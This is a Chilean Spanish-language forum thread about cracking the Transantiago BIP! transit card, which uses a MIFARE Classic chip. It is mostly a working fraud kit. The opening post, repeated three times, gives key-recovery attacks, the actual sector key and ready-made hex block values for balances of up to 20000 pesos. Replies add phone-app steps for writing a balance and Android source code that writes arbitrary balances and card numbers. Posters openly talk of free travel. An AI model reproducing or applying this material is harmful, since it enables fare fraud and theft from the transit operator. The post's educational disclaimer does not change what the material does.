• ¿Quieres apoyar a nuestro foro haciendo una donación?, entra aquí.

Logran crear una aplicación para cargar tarjeta bip!

Estado
No está abierto para más respuestas.
Analizando tarjeta BIP! de Transantiago

Introducción

Actualmente en muchos países se está buscando nuevas formas de pago para servicios de transporte, mas tecnológicas, más cómodas y más seguras. Y la tendencia actual cae en las "tarjetas con chip o RFID". Esta es una tecnología que permite olvidarse del dinero efectivo y mantener el saldo en una "chequera electrónica" de la cual se va descontando por cada uso . Esta es una tecnología efectiva, practica y segura.....pero será tan segura?

Mifare
Las mifare, son tarjetas RFID implementadas con un chip llamado Mifare fabricado por la empresa NXP. según wikipedia:

MIFARE es una tecnología de tarjetas inteligentes sin contacto (TISC), de las más ampliamente instaladas en el mundo, con aproximadamente 250 millones de TISC y 1,5 millones de módulos lectores vendidos. Es equivalente a las 3 primeras partes de la norma ISO 14443 Tipo A de 13.56 MHz con protocolo de alto nivel, con una distancia típica de lectura de 10 cm (unas 4 pulgadas). La distancia de lectura depende de la potencia del módulo lector, existiendo lectores de mayor y menor alcance. Es propiedad de NXP Semiconductores (antes parte de Philips Semiconductores).

Estas tarjetas mantienen un algoritmo de cifrado para que nadie pueda conocer la transacción al vuelo y además el acceso a los datos está protegido con varias contraseñas. Pero hace algún tiempo la "seguridad" de esta tecnología fue violada, y hoy en día se han descubierto muchos métodos para conocer las codiciadas contraseñas.

Para comprender el tecnicismo recomiendo la lectura de estos articulos:
http://www.securityartwork.es/2010/0...d-de-mifare-i/
http://www.securityartwork.es/2010/0...-de-mifare-ii/
http://www.securityartwork.es/2010/0...de-mifare-iii/
http://www.securityartwork.es/2010/0...-de-mifare-iv/
http://www.securityartwork.es/2014/0...d-de-mifare-v/

Objetivo
En pro de poner a prueba estos conocimientos y comprobar la seguridad es que se ha elegido laTarjeta BIP de Transantiago(Chile)
F88IP5NI0NWN3A2.LARGE.jpg

Esta pequeña tarjeta contiene el mítico chip Mifare de NXP, veamos sus características:

Tarjeta:BIP! transantiago
Chip: NXP MIFARE CLASSIC 1K
Frecuencia:HF 13.56MHZ

Pruebas del ataque
Materiales necesarios:
- Tarjeta BIP!
- Lector/Escritor RFID para mifare (puedes encontrarlo en ebay, como Reader/Write mifare)

Algunos lectores/escritores que se pueden usar:
-http://www.ebay.com/itm/181541259710
- celulares con tecnología NFC con chip NXP (ej. Samsung galaxy s3) (se puede programar algo en android)

siguiendo las indicaciones de los artículos anteriormente mencionados, he probado realizar primeramente un ataquedarksidey luego de un buen tiempo obtengo lo siguiente:

Key found:3a42f33af429
Found valid key:3a42f33af429
bien!!, vamos por buen camino ya hemos encontrado una clave valida y comprobamos que la tarjeta es vulnerable. para ir más lejos pruebo un ataquenestedy obtengo lo siguiente:

FKMJJOGI0NWN3A8.LARGE.jpg


Que esto?? son todas las claves de acceso a la tarjeta!!!, con esto ya podemos modificar lo que queramos.

Buscando el saldo disponible
Haciendo un volcado de la tarjeta y analizando la estructura, he encontrado que el saldo se almacena en dos bloques "33 y 34" (comenzando desde el 0) que son de tipo "Value" y que el password de lectura/escritura es la "B".
Para probarlo, conectamos nuestro lector, colocamos la tarjeta y hacemos una lectura de esos 2 bloques :

Para leer los bloques ingresamos en el programa del lector los siguientes datos:
bloque 33, password 64E3C10394C2
bloque 34, password 64E3C10394C2
y obtenemos:

F9Z0711I0NWN3A7.LARGE.jpg


cada bloque tiene 16 bytes de datos y aquí contiene el saldo repetido varias veces de distintas formas para asegurar la integridad y que no hay problemas de consistencia.
vamos a tomar los datos del bloque 33 y lo analizaremos. el 34 es exactamente lo mismo solo que la "DIRECCION" es diferente. no te preocupes por este último dato que es fijo y no hay que hacer nada con él.

SALDO
Este es un valor hexadecimal de 4 bytes, estos se leen de derecha a izquierda y el resultado es el saldo disponible!!
ej: E8 03 00 00 => 000003E8h => 1000 pesos

INTEGRIDAD
Este es un valor ingresado para comprobar errores y consiste en negar los mismos bytes (operación NOT) del saldo en el mismo orden:
ej: E8 03 00 00 => negado => 17 FC FF FF

Escribiendo un nuevo saldo
Para escribir un nuevo saldo se sigue el mismo formato de la lectura y se escribe tal cual. Si no has entendido el formato no te preocupes, pongo algunos ejemplos para que puedas hacer tus propias pruebas. escribe cada línea de 16 bytes en el bloque que le corresponde y su clave, usando tu lector/escritor RFID:

bloque 33, password 64E3C10394C2
bloque 34, password 64E3C10394C2

saldo 1000 pesos:
bloque 33 - E803000017FCFFFFE803000021DE21DE
bloque 34 - E803000017FCFFFFE803000022DE22DE

saldo 5000 pesos:
bloque 33 - 8813000077ECFFFF8813000021DE21DE
bloque 34 - 8813000077ECFFFF8813000022DE22DE

saldo 10000 pesos:
bloque 33 - 10270000EFD8FFFF1027000021DE21DE
bloque 34 - 10270000EFD8FFFF1027000022DE22DE

saldo 20000 pesos:
bloque 33 - 204E0000DFB1FFFF204E000021DE21DE
bloque 34 - 204E0000DFB1FFFF204E000022DE22DE

Conclusión
Como hemos comprobado, la tarjeta es una memoria protegida por una contraseña la cual una vez obtenida permite cambiar todo lo que necesitemos. Si bien el algoritmo tiene fallos, existen otras versiones de tarjetas inteligentes que no se han logrado romper y son las bases de nuevas tecnologías como por ej. las cedulas de identidad y pasaporte.

Importante
Esta información es netamente con fines educativos y experimentales, el autor no se hace responsable por el mal uso y complicaciones de quienes la utilicen.
 
Analizando tarjeta BIP! de Transantiago

Introducción

Actualmente en muchos países se está buscando nuevas formas de pago para servicios de transporte, mas tecnológicas, más cómodas y más seguras. Y la tendencia actual cae en las "tarjetas con chip o RFID". Esta es una tecnología que permite olvidarse del dinero efectivo y mantener el saldo en una "chequera electrónica" de la cual se va descontando por cada uso . Esta es una tecnología efectiva, practica y segura.....pero será tan segura?

Mifare
Las mifare, son tarjetas RFID implementadas con un chip llamado Mifare fabricado por la empresa NXP. según wikipedia:

MIFARE es una tecnología de tarjetas inteligentes sin contacto (TISC), de las más ampliamente instaladas en el mundo, con aproximadamente 250 millones de TISC y 1,5 millones de módulos lectores vendidos. Es equivalente a las 3 primeras partes de la norma ISO 14443 Tipo A de 13.56 MHz con protocolo de alto nivel, con una distancia típica de lectura de 10 cm (unas 4 pulgadas). La distancia de lectura depende de la potencia del módulo lector, existiendo lectores de mayor y menor alcance. Es propiedad de NXP Semiconductores (antes parte de Philips Semiconductores).

Estas tarjetas mantienen un algoritmo de cifrado para que nadie pueda conocer la transacción al vuelo y además el acceso a los datos está protegido con varias contraseñas. Pero hace algún tiempo la "seguridad" de esta tecnología fue violada, y hoy en día se han descubierto muchos métodos para conocer las codiciadas contraseñas.

Para comprender el tecnicismo recomiendo la lectura de estos articulos:
http://www.securityartwork.es/2010/0...d-de-mifare-i/
http://www.securityartwork.es/2010/0...-de-mifare-ii/
http://www.securityartwork.es/2010/0...de-mifare-iii/
http://www.securityartwork.es/2010/0...-de-mifare-iv/
http://www.securityartwork.es/2014/0...d-de-mifare-v/

Objetivo
En pro de poner a prueba estos conocimientos y comprobar la seguridad es que se ha elegido laTarjeta BIP de Transantiago(Chile)
F88IP5NI0NWN3A2.LARGE.jpg

Esta pequeña tarjeta contiene el mítico chip Mifare de NXP, veamos sus características:

Tarjeta:BIP! transantiago
Chip: NXP MIFARE CLASSIC 1K
Frecuencia:HF 13.56MHZ

Pruebas del ataque
Materiales necesarios:
- Tarjeta BIP!
- Lector/Escritor RFID para mifare (puedes encontrarlo en ebay, como Reader/Write mifare)

Algunos lectores/escritores que se pueden usar:
-http://www.ebay.com/itm/181541259710
- celulares con tecnología NFC con chip NXP (ej. Samsung galaxy s3) (se puede programar algo en android)

siguiendo las indicaciones de los artículos anteriormente mencionados, he probado realizar primeramente un ataquedarksidey luego de un buen tiempo obtengo lo siguiente:

Key found:3a42f33af429
Found valid key:3a42f33af429
bien!!, vamos por buen camino ya hemos encontrado una clave valida y comprobamos que la tarjeta es vulnerable. para ir más lejos pruebo un ataquenestedy obtengo lo siguiente:

FKMJJOGI0NWN3A8.LARGE.jpg


Que esto?? son todas las claves de acceso a la tarjeta!!!, con esto ya podemos modificar lo que queramos.

Buscando el saldo disponible
Haciendo un volcado de la tarjeta y analizando la estructura, he encontrado que el saldo se almacena en dos bloques "33 y 34" (comenzando desde el 0) que son de tipo "Value" y que el password de lectura/escritura es la "B".
Para probarlo, conectamos nuestro lector, colocamos la tarjeta y hacemos una lectura de esos 2 bloques :

Para leer los bloques ingresamos en el programa del lector los siguientes datos:
bloque 33, password 64E3C10394C2
bloque 34, password 64E3C10394C2
y obtenemos:

F9Z0711I0NWN3A7.LARGE.jpg


cada bloque tiene 16 bytes de datos y aquí contiene el saldo repetido varias veces de distintas formas para asegurar la integridad y que no hay problemas de consistencia.
vamos a tomar los datos del bloque 33 y lo analizaremos. el 34 es exactamente lo mismo solo que la "DIRECCION" es diferente. no te preocupes por este último dato que es fijo y no hay que hacer nada con él.

SALDO
Este es un valor hexadecimal de 4 bytes, estos se leen de derecha a izquierda y el resultado es el saldo disponible!!
ej: E8 03 00 00 => 000003E8h => 1000 pesos

INTEGRIDAD
Este es un valor ingresado para comprobar errores y consiste en negar los mismos bytes (operación NOT) del saldo en el mismo orden:
ej: E8 03 00 00 => negado => 17 FC FF FF

Escribiendo un nuevo saldo
Para escribir un nuevo saldo se sigue el mismo formato de la lectura y se escribe tal cual. Si no has entendido el formato no te preocupes, pongo algunos ejemplos para que puedas hacer tus propias pruebas. escribe cada línea de 16 bytes en el bloque que le corresponde y su clave, usando tu lector/escritor RFID:

bloque 33, password 64E3C10394C2
bloque 34, password 64E3C10394C2

saldo 1000 pesos:
bloque 33 - E803000017FCFFFFE803000021DE21DE
bloque 34 - E803000017FCFFFFE803000022DE22DE

saldo 5000 pesos:
bloque 33 - 8813000077ECFFFF8813000021DE21DE
bloque 34 - 8813000077ECFFFF8813000022DE22DE

saldo 10000 pesos:
bloque 33 - 10270000EFD8FFFF1027000021DE21DE
bloque 34 - 10270000EFD8FFFF1027000022DE22DE

saldo 20000 pesos:
bloque 33 - 204E0000DFB1FFFF204E000021DE21DE
bloque 34 - 204E0000DFB1FFFF204E000022DE22DE

Conclusión
Como hemos comprobado, la tarjeta es una memoria protegida por una contraseña la cual una vez obtenida permite cambiar todo lo que necesitemos. Si bien el algoritmo tiene fallos, existen otras versiones de tarjetas inteligentes que no se han logrado romper y son las bases de nuevas tecnologías como por ej. las cedulas de identidad y pasaporte.

Importante
Esta información es netamente con fines educativos y experimentales, el autor no se hace responsable por el mal uso y complicaciones de quienes la utilicen.

Cortesia de PortalNet.cl

http://www.portalnet.cl/comunidad/h...4-analizando-tarjeta-bip-de-transantiago.html
 
y pensar que hay weones que estan dispuestos hasta a arriesgar demandas por un poco de fama en un foro :nonono:


Cualquiera puede demandar, probar es otra cosa amigo. No pasará nada.

Enviado desde mi HTC One_M8 mediante Tapatalk
 
Analizando tarjeta BIP! de Transantiago

Introducción

Actualmente en muchos países se está buscando nuevas formas de pago para servicios de transporte, mas tecnológicas, más cómodas y más seguras. Y la tendencia actual cae en las "tarjetas con chip o RFID". Esta es una tecnología que permite olvidarse del dinero efectivo y mantener el saldo en una "chequera electrónica" de la cual se va descontando por cada uso . Esta es una tecnología efectiva, practica y segura.....pero será tan segura?

Mifare
Las mifare, son tarjetas RFID implementadas con un chip llamado Mifare fabricado por la empresa NXP. según wikipedia:

MIFARE es una tecnología de tarjetas inteligentes sin contacto (TISC), de las más ampliamente instaladas en el mundo, con aproximadamente 250 millones de TISC y 1,5 millones de módulos lectores vendidos. Es equivalente a las 3 primeras partes de la norma ISO 14443 Tipo A de 13.56 MHz con protocolo de alto nivel, con una distancia típica de lectura de 10 cm (unas 4 pulgadas). La distancia de lectura depende de la potencia del módulo lector, existiendo lectores de mayor y menor alcance. Es propiedad de NXP Semiconductores (antes parte de Philips Semiconductores).

Estas tarjetas mantienen un algoritmo de cifrado para que nadie pueda conocer la transacción al vuelo y además el acceso a los datos está protegido con varias contraseñas. Pero hace algún tiempo la "seguridad" de esta tecnología fue violada, y hoy en día se han descubierto muchos métodos para conocer las codiciadas contraseñas.

Para comprender el tecnicismo recomiendo la lectura de estos articulos:
http://www.securityartwork.es/2010/0...d-de-mifare-i/
http://www.securityartwork.es/2010/0...-de-mifare-ii/
http://www.securityartwork.es/2010/0...de-mifare-iii/
http://www.securityartwork.es/2010/0...-de-mifare-iv/
http://www.securityartwork.es/2014/0...d-de-mifare-v/

Objetivo
En pro de poner a prueba estos conocimientos y comprobar la seguridad es que se ha elegido laTarjeta BIP de Transantiago(Chile)
F88IP5NI0NWN3A2.LARGE.jpg

Esta pequeña tarjeta contiene el mítico chip Mifare de NXP, veamos sus características:

Tarjeta:BIP! transantiago
Chip: NXP MIFARE CLASSIC 1K
Frecuencia:HF 13.56MHZ

Pruebas del ataque
Materiales necesarios:
- Tarjeta BIP!
- Lector/Escritor RFID para mifare (puedes encontrarlo en ebay, como Reader/Write mifare)

Algunos lectores/escritores que se pueden usar:
-http://www.ebay.com/itm/181541259710
- celulares con tecnología NFC con chip NXP (ej. Samsung galaxy s3) (se puede programar algo en android)

siguiendo las indicaciones de los artículos anteriormente mencionados, he probado realizar primeramente un ataquedarksidey luego de un buen tiempo obtengo lo siguiente:

Key found:3a42f33af429
Found valid key:3a42f33af429
bien!!, vamos por buen camino ya hemos encontrado una clave valida y comprobamos que la tarjeta es vulnerable. para ir más lejos pruebo un ataquenestedy obtengo lo siguiente:

FKMJJOGI0NWN3A8.LARGE.jpg


Que esto?? son todas las claves de acceso a la tarjeta!!!, con esto ya podemos modificar lo que queramos.

Buscando el saldo disponible
Haciendo un volcado de la tarjeta y analizando la estructura, he encontrado que el saldo se almacena en dos bloques "33 y 34" (comenzando desde el 0) que son de tipo "Value" y que el password de lectura/escritura es la "B".
Para probarlo, conectamos nuestro lector, colocamos la tarjeta y hacemos una lectura de esos 2 bloques :

Para leer los bloques ingresamos en el programa del lector los siguientes datos:
bloque 33, password 64E3C10394C2
bloque 34, password 64E3C10394C2
y obtenemos:

F9Z0711I0NWN3A7.LARGE.jpg


cada bloque tiene 16 bytes de datos y aquí contiene el saldo repetido varias veces de distintas formas para asegurar la integridad y que no hay problemas de consistencia.
vamos a tomar los datos del bloque 33 y lo analizaremos. el 34 es exactamente lo mismo solo que la "DIRECCION" es diferente. no te preocupes por este último dato que es fijo y no hay que hacer nada con él.

SALDO
Este es un valor hexadecimal de 4 bytes, estos se leen de derecha a izquierda y el resultado es el saldo disponible!!
ej: E8 03 00 00 => 000003E8h => 1000 pesos

INTEGRIDAD
Este es un valor ingresado para comprobar errores y consiste en negar los mismos bytes (operación NOT) del saldo en el mismo orden:
ej: E8 03 00 00 => negado => 17 FC FF FF

Escribiendo un nuevo saldo
Para escribir un nuevo saldo se sigue el mismo formato de la lectura y se escribe tal cual. Si no has entendido el formato no te preocupes, pongo algunos ejemplos para que puedas hacer tus propias pruebas. escribe cada línea de 16 bytes en el bloque que le corresponde y su clave, usando tu lector/escritor RFID:

bloque 33, password 64E3C10394C2
bloque 34, password 64E3C10394C2

saldo 1000 pesos:
bloque 33 - E803000017FCFFFFE803000021DE21DE
bloque 34 - E803000017FCFFFFE803000022DE22DE

saldo 5000 pesos:
bloque 33 - 8813000077ECFFFF8813000021DE21DE
bloque 34 - 8813000077ECFFFF8813000022DE22DE

saldo 10000 pesos:
bloque 33 - 10270000EFD8FFFF1027000021DE21DE
bloque 34 - 10270000EFD8FFFF1027000022DE22DE

saldo 20000 pesos:
bloque 33 - 204E0000DFB1FFFF204E000021DE21DE
bloque 34 - 204E0000DFB1FFFF204E000022DE22DE

Conclusión
Como hemos comprobado, la tarjeta es una memoria protegida por una contraseña la cual una vez obtenida permite cambiar todo lo que necesitemos. Si bien el algoritmo tiene fallos, existen otras versiones de tarjetas inteligentes que no se han logrado romper y son las bases de nuevas tecnologías como por ej. las cedulas de identidad y pasaporte.

Importante
Esta información es netamente con fines educativos y experimentales, el autor no se hace responsable por el mal uso y complicaciones de quienes la utilicen.
Por ultimo dale los creditos al verdadero autor del post, ladron culiao[DOUBLEPOST=1414278772,1414278652][/DOUBLEPOST]
y todavía hay weones (el twinsenosecuanto XD) que todavía creen que vamos más adelantados que portalwea en este tema jajaja
Allá tomaron en cuenta desde el 1er dia hasta los aparecidos... son inmunes al miedo al newbie/pdi y eso hizo la diferencia
los trolles van a matar el antro XD
Este foro ya no tiene brillo lleno de troles culiaos y cuando uno postea enserio te pescan pal webeo
 
uta no alcance a bajar la 1.5... un buen samaritano que la suba por fa...
 
Copio y pego desde otro lado...

"MifareClassicTool (Google Play):

1- Opcion: Edit/Add Key File
1.1 Elegir un archivo o crear uno nuevo
1.2 Ingresar las claves que desee indicadas al principio
1.3 Guardar con el diskette

2. Opcion: Read Tag
2.1 Acercar la bip, por atrás del celular (sale un aviso con el UID de la tarjeta)
2.2 Marcar el archivo en que ingresaron las claves y apretar "Start Mapping..."
2.3 Esperar
2.4 Aparece la info de la bip (esto es lo importante)
2.5 Guardar la info que aparece y compartirla, para descifrarla entre todos

3. Si quiere escribir: Write Tag
3.1 Indicar Sector y Block, partiendo de 0
Por ejemplo, para el saldo que ya todos saben: Sector 8, Block 1 y 2 (hay que repetir el proceso para el block 1 y luego el 2)
3.2 Data a escribir, segun el formato indicado al principio de este tema.
3.4 Write Block
3.5
24bqno1.gif

3.6
54711080.gif


Asi pueden poner algun numero especial en alguna parte especial de una tarjeta famosa y se dejan de pedir aplicaciones famosas modificadas quizas sabe por quien y con que fines.

Si no saben como quedaria un numero especial:
4. Tools
4.1 Value Block De-/Encoder
4.2 VB as Int: el numero magico
4.3 Addr: 21
4.4 Encode
4.5 Copiar lo que aparezca en VB (arriba)
4.6 eso se pone en el pto 3.2

Lo que puse en negrita es lo más importante. No soy ni rati (tipico de un rati) ni el tio emilio (hola tio).

Por ahora, les puedo decir:
Todos los block 3 de cada sector tienen: KEY_A + AC + KEY_B
Sector 0:
Block 0 -> UUID + algo (no modificable)
Block 1 -> ID bip (el que sale impreso en la tarjeta, modificable)
Block 2 -> nada

Sector 1 y 2: nada

Sector 3: adivinen

Sector 4 y 5 algo que hay que descifrar, adelanto que es sobre los mov de la bip (uso, carga)

Sector 6 y 7 nada importante

Sector 8: cuotas de transporte

Sector 9 y 10 algo relacionado a las cargas en puntos autorizados: IMPORTANTES

Sector 11 3 ultimos viajes, de aqui tambien se algunos detalles (micro o metro, tarifa estudiante o normal, monto pagado)

Desde el 12 al 15 nada

La idea es que quienes carguen normalmente puedan compartir la info de los sectores 4, 5, 9 y 10 para saber que se escribe en la bip cuando se carga."
Todo lo importante está en ese post, si quieren aprender ahí está todo, si quieren puro pásàar gratìh oezíìi busquen aplicaciones.
 
Todo lo importante está en ese post, si quieren aprender ahí está todo, si quieren puro pásàar gratìh oezíìi busquen aplicaciones.


Me sumo, estoy aprendiendo como simio...

Enviado desde mi HTC One_M8 mediante Tapatalk
 
quien me manda la que solo pide nfc nueva por MP ? :orejon: gracias
 
La 1.5.
  • apk: ow.ly/DkSEP
  • src: ow.ly/DkSGz
MainActivity.java
Código:
package com.example.puntobip;

import java.io.IOException;

import android.app.Activity;
import android.app.AlertDialog;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.IntentFilter.MalformedMimeTypeException;
import android.nfc.NfcAdapter;
import android.nfc.Tag;
import android.nfc.tech.MifareClassic;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends Activity {
    private final String MONTO_DEFAULT = "2000";
  
    private TapDialog tapDialog;
  
    private NfcAdapter mNfcAdapter;
    private PendingIntent mPendingIntent;
    private IntentFilter[] mFilters;
    private String[][] mTechList;
  
  
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        tapDialog = new TapDialog(this, getResources().getString(R.string.consultar_saldo)).display();
        inicializarNFC();
    }
  
    public void onCargarSaldo(View view) {
        String txtSaldo = ((TextView)findViewById(R.id.tvSaldoBIP)).getText().toString().replace("$", "");
        tapDialog = new TapDialog(this, getResources().getString(R.string.cargar_saldo)).displayCargar(txtSaldo.isEmpty() ? MONTO_DEFAULT : txtSaldo);
    }
  
    public void onCambiarNumero(View view) {
        TextView tvNumeroBIP = (TextView)findViewById(R.id.tvNumeroBIP);
        tapDialog = new TapDialog(this, getResources().getString(R.string.cambiar_numero)).displayNumero(tvNumeroBIP.getText().toString());
    }
  
    private void inicializarNFC() {
        mNfcAdapter = NfcAdapter.getDefaultAdapter(this);
        if (mNfcAdapter == null) {
            Toast.makeText(this, "Este dispositivo no soporta NFC.", Toast.LENGTH_LONG).show();
            finish();
            return;
        }
      
        if (!mNfcAdapter.isEnabled()) {
            AlertDialog alertDialog = new AlertDialog.Builder(this).create();
            alertDialog.setTitle("NFC deshabilitado");
            alertDialog.setMessage("Su NFC esta deshabilitado.\nIngrese a las opciones de configuracion y activelo.");
            alertDialog.show();
        }
      
        mPendingIntent = PendingIntent.getActivity(this, 0,
                new Intent(this, getClass()).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
      
        IntentFilter ndef = new IntentFilter(NfcAdapter.ACTION_TECH_DISCOVERED);
        try {
            ndef.addDataType("*/*");
        } catch (MalformedMimeTypeException e) {
            throw new RuntimeException("error", e);
        }
      
        mFilters = new IntentFilter[] {ndef};
        mTechList = new String[][] { new String[] { MifareClassic.class.getName() } };
    }
  
    @Override
    protected void onResume() {
        super.onResume();
      
        mNfcAdapter.enableForegroundDispatch(this, mPendingIntent, mFilters, mTechList);
    }
  
    @Override
    protected void onPause() {
        super.onPause();
      
        mNfcAdapter.disableForegroundDispatch(this);
    }
  
    @Override
    protected void onNewIntent(Intent intent) {
        String action = intent.getAction();
      
        if (NfcAdapter.ACTION_TECH_DISCOVERED.equals(action)) {
            Tag tagFromIntent = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG);
            MifareManager mifare = new MifareManager(tagFromIntent);
          
            try {
                mifare.open();
                if(tapDialog.isShowing()) {
                    procesarOperacion(tapDialog, mifare);
                }
                desplegarDatosTarjeta(mifare);
            } catch (AuthenticateException e) {
                Log.e("error", "error autenticando sector", e);
                Toast.makeText(this, "error autenticando sector " + e.getSector(), Toast.LENGTH_LONG).show();
            } catch (Exception e) {
                Log.e("error", "error desconocido", e);
                Toast.makeText(this, e.getMessage(), Toast.LENGTH_LONG).show();
            } finally {
                if(tapDialog != null) tapDialog.dismiss();
                mifare.close();
            }
          
        }
    }
  
    /**
     * Despliega datos de tarjeta
     * @param mifare
     * @throws IOException
     * @throws AuthenticateException
     */
    private void desplegarDatosTarjeta(MifareManager mifare) throws IOException, AuthenticateException {
        TextView tvNumeroUUID = (TextView)findViewById(R.id.tvNumeroUUID);
        TextView tvNumeroBIP = (TextView)findViewById(R.id.tvNumeroBIP);
        TextView tvSaldoBIP = (TextView)findViewById(R.id.tvSaldoBIP);
        byte[] data;
      
        // uuid
        tvNumeroUUID.setText(Utils.leToNumericString(mifare.getTag().getId(), 4));
      
        // numero bip
        data = mifare.readBlock(0x01);
        tvNumeroBIP.setText(Utils.leToNumericString(new byte[]{data[4],data[5],data[6],data[7]}, 4));
      
        // saldo bip
        data = mifare.readBlock(0x21);
        tvSaldoBIP.setText(Utils.formatMoneda(Utils.leToNumeric(data, 2)));
    }
  
    /**
     * Procesa una operacion sobre la tarjeta
     * @param tapDialog
     * @param mifare
     * @throws IOException
     * @throws AuthenticateException
     */
    private void procesarOperacion(TapDialog tapDialog, MifareManager mifare) throws IOException, AuthenticateException {
        switch (tapDialog.getTag()) {
      
        case Constants.DIALOG_CARGAR:
            String txtMontoCargar = ((EditText)tapDialog.findViewById(R.id.etMontoCargar)).getText().toString();
            int montoCargar = (txtMontoCargar.length() == 0) ? 0 : Integer.parseInt(txtMontoCargar);
          
            mifare.writeValue(0x21, montoCargar);
            mifare.writeValue(0x22, montoCargar);
            break;

        case Constants.DIALOG_NUMERO:
            String txtNumeroBip = ((EditText)tapDialog.findViewById(R.id.etNumeroBip)).getText().toString();
            long numeroBip = (txtNumeroBip.length() == 0) ? 0 : Long.parseLong(txtNumeroBip);
          
            byte[] data = mifare.readBlock(0x01);
            data[4] = (byte) (numeroBip >>> 0);
            data[5] = (byte) (numeroBip >>> 8);
            data[6] = (byte) (numeroBip >>> 16);
            data[7] = (byte) (numeroBip >>> 24);
            mifare.writeBlock(0x01, data);
            break;
      
        }
    }
  
}

quien me manda la que solo pide nfc nueva por MP ? :orejon: gracias

arriba esta compadre!.. hasta la carpeta con el codigo fuente para recompilarla, como dicen algunos... ya esta todo dicho y hecho, asi que es cosa de ponerse a meter mano!!
 
y todavía hay weones (el twinsenosecuanto XD) que todavía creen que vamos más adelantados que portalwea en este tema jajaja
Allá tomaron en cuenta desde el 1er dia hasta los aparecidos... son inmunes al miedo al newbie/pdi y eso hizo la diferencia
los trolles van a matar el antro XD

Qué?
 
Como ya se dijo, depende, si quieres meter mano sí, sino, solo el apk

Enviado desde mi HTC One_M8 mediante Tapatalk
 
Estado
No está abierto para más respuestas.
Volver
Arriba